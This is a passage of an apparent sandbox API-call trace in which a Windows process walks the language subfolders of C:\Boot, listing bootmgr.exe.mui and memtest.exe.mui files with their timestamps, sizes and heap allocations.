	[0066.204] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.204] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.205] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0066.205] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0066.205] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.205] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0066.205] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.205] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0066.205] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.205] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0066.206] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.206] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0066.206] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0066.206] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0066.206] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.206] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0066.207] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0066.207] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.207] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f08
	[0066.218] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.218] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.218] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.218] FindNextFileW (in: hFindFile=0x811f08, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.218] FindClose (in: hFindFile=0x811f08 | out: hFindFile=0x811f08) returned 1
	[0066.218] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.218] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0066.218] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.218] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f48
	[0066.218] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.219] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.219] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.219] FindNextFileW (in: hFindFile=0x811f48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.219] FindClose (in: hFindFile=0x811f48 | out: hFindFile=0x811f48) returned 1
	[0066.219] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.219] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0066.219] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.219] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a88
	[0066.220] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x811a88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.220] FindClose (in: hFindFile=0x811a88 | out: hFindFile=0x811a88) returned 1
	[0066.220] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.220] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0066.220] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.220] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0066.221] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.221] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.221] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0066.221] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0066.221] FindClose (in: hFindFile=0x811c88 | out: hFindFile=0x811c88) returned 1
	[0066.221] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0066.221] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0066.221] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0066.221] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811c88
	[0066.222] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0066.222] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6714dc, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
